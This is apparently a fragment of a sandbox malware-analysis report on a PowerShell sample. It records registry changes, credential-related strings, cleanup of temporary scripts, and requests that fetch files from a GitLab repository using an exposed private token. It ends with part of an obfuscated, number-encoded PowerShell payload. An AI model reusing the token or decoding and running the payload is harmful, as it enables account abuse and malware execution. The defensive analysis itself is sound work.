"GetModuleHandle"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp")4b:Td26,Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp")4c:T460,Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00005528.00000000.225591.70420000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00005528.00000000.225591.70420000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00005528.00000000.225591.70430000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00005528.00000000.225591.70430000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00005528.00000000.225591.704A0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00005528.00000000.225591.704A0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00005528.00000000.225591.704E0000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00005528.00000000.225591.704F0000.00000004.mdmp, 00000000-00005528.00000001.226277.704F0000.00000004.mdmp")4d:T426,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA")4e:T91a,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "")4f:T106f,"powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "B8B897F5DBBDDC010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "C50B000000000000040004000102040000000000630000000D787900010000006B507E000200000087DE83004D000000A19F5E000400010000006B00000056737D00070000006B507E00010000009829B70007000000E6C53100010004000000070000001A9CB2000100050000000100000016F0B20001006500000034050000E6C5310000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "82CAC8CEDCBDDC010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "C5934ED4DCBDDC010000000000000000000000000200000000")50:T1572,"GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main HTTP/1.1 PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36 Host: gitlab.com Connection: Keep-Alive" Response ==> HTTP/1.1 404 Not Found Date: Fri 27 Mar 2026 04:21:44 GMT Content-Type: application/json Content-Length: 25 Connection: keep-alive Server: cloudflare CF-Ray: 9e2b9c29ecf4cdb3-SJC CF-Cache-Status: MISS Cache-Control: no-cache Strict-Transport-Security: max-age=31536000 Vary: Origin content-security-policy: default-src 'none' gitlab-lb: haproxy-main-07-lb-gprd gitlab-sv: api-gke-us-east1-b nel: {"max_age": 0} ratelimit-limit: 2000 ratelimit-name: throttle_authenticated_api ratelimit-observed: 18 ratelimit-remaining: 1982 ratelimit-reset: 1774585320 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"9e2b9c29ecf4cdb3-SJC" "version":"1"} x-request-id: 9e2b9c29ecf4cdb3-SJC x-runtime: 0.022672 Set-Cookie: _cfuvid=dSDNnLi.zLj3uf_k7ouNDN4yxrH01Db4rJyCUf1y1VM-1774585304775-0.0.1.1-604800000; path=/; domain=.gitlab.com; HttpOnly; Secure; SameSite=None with response body ==>7B226572726F72223A22343034204E6F7420466F756E64227D....... "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main HTTP/1.1 PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36 Host: gitlab.com" Response ==> HTTP/1.1 404 Not Found Date: Fri 27 Mar 2026 04:21:45 GMT Content-Type: application/json Content-Length: 25 Connection: keep-alive Server: cloudflare CF-Ray: 9e2b9c2fcd9fcdb3-SJC CF-Cache-Status: MISS Cache-Control: no-cache Strict-Transport-Security: max-age=31536000 Vary: Origin content-security-policy: default-src 'none' gitlab-lb: haproxy-main-53-lb-gprd gitlab-sv: api-gke-us-east1-c nel: {"max_age": 0} ratelimit-limit: 2000 ratelimit-name: throttle_authenticated_api ratelimit-observed: 19 ratelimit-remaining: 1981 ratelimit-reset: 1774585320 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"9e2b9c2fcd9fcdb3-SJC" "version":"1"} x-request-id: 9e2b9c2fcd9fcdb3-SJC x-runtime: 0.088350 Set-Cookie: _cfuvid=Oy4DJ4r4fJDNDlyeaLgbk3s8SEAySmdwn72HQSJyULg-1774585305791-0.0.1.1-604800000; path=/; domain=.gitlab.com; HttpOnly; Secure; SameSite=None with response body ==>7B226572726F72223A22343034204E6F7420466F756E64227D....... "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main HTTP/1.1 PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36 Host: gitlab.com" Response ==> HTTP/1.1 404 Not Found Date: Fri 27 Mar 2026 04:21:49 GMT Content-Type: application/json Content-Length: 25 Connection: keep-alive Server: cloudflare CF-Ray: 9e2b9c474ef9cdb3-SJC CF-Cache-Status: MISS Cache-Control: no-cache Strict-Transport-Security: max-age=31536000 Vary: Origin content-security-policy: default-src 'none' gitlab-lb: haproxy-main-27-lb-gprd gitlab-sv: api-gke-us-east1-d nel: {"max_age": 0} ratelimit-limit: 2000 ratelimit-name: throttle_authenticated_api ratelimit-observed: 21 ratelimit-remaining: 1979 ratelimit-reset: 1774585320 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"9e2b9c474ef9cdb3-SJC" "version":"1"} x-request-id: 9e2b9c474ef9cdb3-SJC x-runtime: 0.022161 Set-Cookie: _cfuvid=ADjIY6CwzCKRrzMJd2kaJyLqGtMWzwB2SugRjNSk4Pw-1774585309456-0.0.1.1-604800000; path=/; domain=.gitlab.com; HttpOnly; Secure; SameSite=None with response body ==>7B226572726F72223A22343034204E6F7420466F756E64227D....... "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main HTTP/1.1 PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36 Host: gitlab.com" Response ==> HTTP/1.1 404 Not Found Date: Fri 27 Mar 2026 04:21:50 GMT Content-Type: application/json Content-Length: 25 Connection: keep-alive Server: cloudflare CF-Ray: 9e2b9c4b2c84cdb3-SJC CF-Cache-Status: MISS Cache-Control: no-cache Strict-Transport-Security: max-age=31536000 Vary: Origin content-security-policy: default-src 'none' gitlab-lb: haproxy-main-39-lb-gprd gitlab-sv: api-gke-us-east1-d nel: {"max_age": 0} ratelimit-limit: 2000 ratelimit-name: throttle_authenticated_api ratelimit-observed: 22 ratelimit-remaining: 1978 ratelimit-reset: 1774585320 referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-gitlab-meta: {"correlation_id":"9e2b9c4b2c84cdb3-SJC" "version":"1"} x-request-id: 9e2b9c4b2c84cdb3-SJC x-runtime: 0.020013 Set-Cookie: _cfuvid=b0h2l3WssQMWs.3s_6oDDmhOPUAyxdkCGwTstDf4sMk-1774585310063-0.0.1.1-604800000; path=/; domain=.gitlab.com; HttpOnly; Secure; SameSite=None with response body ==>7B226572726F72223A22343034204E6F7420466F756E64227D.......51:T479,"powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_a1vu3pd2.aat.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_qh1klm4a.ae2.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_c4tx1jzi.t22.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_wtgpzhid.iav.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.dll" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.0.cs" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.cmdline" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.out" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.tmp" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.err" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\firefox.ps1" for deletion52:T4c7,"powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8KT95F6TBB8HO4W998TM.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_a1vu3pd2.aat.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_qh1klm4a.ae2.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\HCJEFSH2.PDB" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.0.cs" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.cmdline" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.out" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\hcjefsh2\hcjefsh2.err" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\firefox.ps1" with delete access53:T4eda,""$VIUSBvejbawf = \\"145 52 53 38 58 79 127 106 76 63 129 79 61 24 97 185 141 82 91 38 43 24 100 108 135 100 95 113 78 43 85 113 88 115 116 88 57 24 117 116 72 61 94 62 42 36 161 176 140 141 140 235 182 11 237 68 25 235 34 31 236 153 17 236 21 41 235 1 181 235 19 85 236 41 17 64 235 176 58 122 235 43 6 235 182 11 234 37 53 234 179 27 234 176 45 236 49 13 235 176 169 236 52 81 135 61 74 57 124 81 165 114 65 57 58 43 126 79 169 183 77 57 58 125 115 106 89 102 123 126 140 116 124 93 98 112 147 130 140 43 50 106 158 183 84 75 128 60 124 97 167 106 72 139 115 123 61 24 94 110 74 141 113 127 124 37 93 105 84 57 129 52 72 25 93 96 66 68 84 58 101 55 89 169 129 51 126 75 60 70 146 146 110 96 120 82 77 28 83 138 75 104 99 59 74 28 86 128 71 91 125 70 39 84 155 169 132 127 125 104 109 41 101 98 72 124 76 125 99 108 165 105 67 62 68 58 59 24 128 117 149 112 142 125 51 39 83 112 71 128 71 45 47 23 89 164 132 125 125 104 109 89 154 103 76 126 70 54 56 39 87 183 122 137 76 45 61 30 102 113 103 76 65 58 126 79 169 183 72 76 69 49 124 81 169 181 79 68 66 58 78 43 85 113 149 112 142 125 58 29 102 97 135 61 74 57 124 81 165 117 62 65 66 51 50 108 140 185 147 137 71 43 42 24 85 170 84 61 69 112 40 88 154 105 67 62 68 58 59 24 86 170 145 133 83 42 44 35 108 159 123 104 59 60 61 28 100 149 84 57 77 76 42 26 96 107 78 133 138 47 44 29 95 116 82 57 101 59 117 99 154 103 80 61 63 44 53 24 90 103 60 126 72 54 50 39 86 170 145 133 83 42 44 35 108 159 123 104 59 60 61 28 100 149 84 57 77 76 42 26 96 107 78 133 138 57 53 32 100 137 84 57 70 118 117 93 87 120 62 110 60 58 56 79 165 119 67 76 64 60 54 62 104 108 80 139 115 127 122 43 98 116 71 57 113 119 124 63 90 95 76 65 66 62 111 87 155 169 147 129 140 119 71 35 91 117 70 54 59 125 114 106 169 139 97 141 125 111 112 92 142 185 94 68 64 125 114 106 147 165 122 141 54 105 106 99 167 173 147 108 62 47 50 39 114 116 147 129 140 61 83 35 85 170 128 122 119 113 107 86 167 173 147 133 99 87 74 63 125 173 73 68 67 58 126 69 100 118 74 62 133 125 114 106 134 113 67 139 130 125 47 31 100 183 137 139 127 110 106 87 167 173 147 125 128 111 124 96 167 171 133 127 126 125 114 106 118 120 79 76 60 54 111 87 150 162 135 122 120 125 117 108 156 111 70 68 64 127 124 108 167 158 149 137 70 58 61 40 100 103 66 141 113 127 94 17 167 137 99 100 88 94 74 71 156 133 102 98 105 81 124 108 140 185 145 76 58 52 51 33 76 158 149 100 64 41 47 33 100 172 99 72 59 43 81 39 85 113 70 73 142 114 73 26 96 185 145 73 55 51 50 32 93 185 136 101 73 62 58 39 87 102 149 137 70 58 61 40 100 103 66 141 129 74 43 39 87 152 78 72 64 43 126 104 104 114 80 63 58 127 113 61 84 101 111 68 66 58 126 104 80 96 60 73 142 114 73 25 100 151 84 58 69 60 78 43 87 102 76 63 71 100 120 104 80 96 60 73 115 127 126 104 86 102 66 141 113 127 84 29 96 107 136 93 77 43 54 108 161 181 80 63 56 101 93 28 89 149 84 57 77 118 126 106 154 140 76 74 60 48 43 29 99 101 134 86 69 49 58 29 82 102 134 89 73 50 46 32 104 101 80 58 127 70 61 36 90 106 135 67 59 58 124 81 169 181 70 62 63 127 97 108 127 106 76 63 129 79 61 24 97 185 141 137 73 49 40 82 136 105 69 105 77 43 61 99 169 183 134 96 69 60 44 29 86 106 79 57 127 72 53 30 101 106 62 58 127 75 57 31 89 109 84 57 73 44 111 51 104 113 70 62 128 45 42 38 167 158 149 137 52 48 47 39 169 156 149 139 85 62 54 29 90 171 67 57 72 125 99 104 100 103 83 98 99 86 126 79 169 183 145 70 58 43 42 24 154 120 69 68 127 41 106 93 89 103 70 67 73 60 42 25 154 181 141 82 57 45 53 47 143 159 112 58 75 62 46 39 133 120 65 76 91 43 44 35 91 114 141 137 62 45 47 34 100 118 65 100 74 118 117 93 87 116 69 62 59 54 42 29 87 96 134 71 69 51 57 25 154 181 141 82 57 45 53 47 143 159 112 58 75 62 46 39 133 120 65 76 91 43 44 35 91 114 141 137 52 48 47 39 160 176 134 59 77 40 95 26 100 115 120 137 76 45 61 30 102 113 103 76 65 58 124 81 169 144 71 55 63 52 57 95 114 116 83 91 73 46 41 39 86 101 149 128 89 45 53 108 165 116 67 75 99 84 85 108 156 145 80 76 74 58 44 25 169 181 77 72 77 59 57 26 86 185 136 88 59 58 44 75 98 116 71 57 142 123 61 37 100 107 65 141 129 80 41 24 131 112 73 72 142 123 47 29 90 185 136 88 59 58 92 43 86 112 82 93 77 45 43 35 91 114 122 141 60 58 48 43 92 116 136 68 58 58 49 108 156 105 84 57 70 127 122 29 90 106 149 128 64 58 39 30 104 108 80 141 138 44 43 25 142 185 149 137 62 47 46 108 140 185 107 62 69 49 113 60 104 101 77 141 134 123 57 30 83 159 116 61 62 91 61 24 104 176 149 139 127 82 53 41 87 106 66 62 72 43 111 53 96 107 81 62 55 44 111 73 93 106 64 73 91 43 47 26 100 170 79 76 75 58 60 29 90 110 135 61 59 110 124 81 169 181 66 57 60 127 97 108 162 181 84 65 69 44 97 76 161 183 72 62 60 38 75 24 167 173 147 117 117 103 124 96 167 149 80 59 69 41 57 106 160 158 145 64 59 98 113 34 90 112 71 141 134 125 81 39 167 173 145 76 66 54 43 49 153 124 137 139 60 58 61 31 167 176 122 137 60 57 97 95 95 106 76 63 134 125 76 38 102 167 147 129 138 62 50 35 86 126 132 80 130 123 61 32 96 102 90 123 81 115 124 74 80 101 80 58 140 118 99 104 86 101 67 112 110 119 122 31 86 173 147 59 53 47 42 29 167 173 145 59 72 115 126 106 100 102 104 76 64 62 55 106 157 185 147 59 73 62 124 99 142 181 67 72 62 98 94 100 167 108 66 53 140 115 124 26 81 183 137 139 92 89 90 74 167 173 147 64 77 49 55 106 157 185 147 71 72 125 117 81 165 117 80 71 142 98 126 106 84 102 76 63 71 127 75 19 86 101 80 64 115 42 43 35 91 114 149 90 53 44 42 39 92 171 108 94 115 42 43 35 91 114 149 90 53 44 42 39 92 171 98 72 75 42 44 35 85 96 135 106 60 39 55 26 104 105 77 52 115 47 41 42 93 112 82 141 75 51 61 25 86 185 108 63 69 43 35 28 84 119 73 68 75 127 43 24 104 101 76 74 142 93 37 24 100 126 88 141 106 58 59 100 135 96 65 72 83 66 126 35 91 151 60 57 73 44 114 25 85 103 76 63 71 